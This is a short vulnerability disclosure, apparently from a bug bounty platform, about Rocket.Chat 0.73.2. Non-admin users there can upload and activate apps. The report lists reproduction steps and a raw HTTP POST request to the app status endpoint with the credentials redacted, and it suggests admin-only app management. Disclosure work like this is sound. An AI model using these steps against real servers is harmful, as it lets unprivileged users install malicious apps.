Broken access control on apps
Discovered by theappsec on Rocket_chat

This issue took 7 Days and 6 hours to triage and 0 Days and 0 hours to resolve once triaged.


The user without administrative privileges can upload and install any Application into the As ID of application is controlled in the app.json file (which is controlled by uploader) user can also activate the app.

Releases Affected:

  • 0.73.2

Steps To Reproduce:

  • User log-in into the chat
  • User open the following link:
  • Upload any app
  • Activate it by send the following POST request to the installed app:
POST /api/apps/<ID_of_the_installed_App>/status HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-User-Id: [redacted]
X-Auth-Token: [redacted]
X-Requested-With: XMLHttpRequest
Cookie: [redacted]
DNT: 1
Connection: close
Content-Length: 29


Supporting Material/References:

You can see the uploading process in the attached video. Left user is admin, right - user without any additional privileges.

Suggested mitigation

Managing apps should be available to admins only.


Users can install and activate malicious apps into the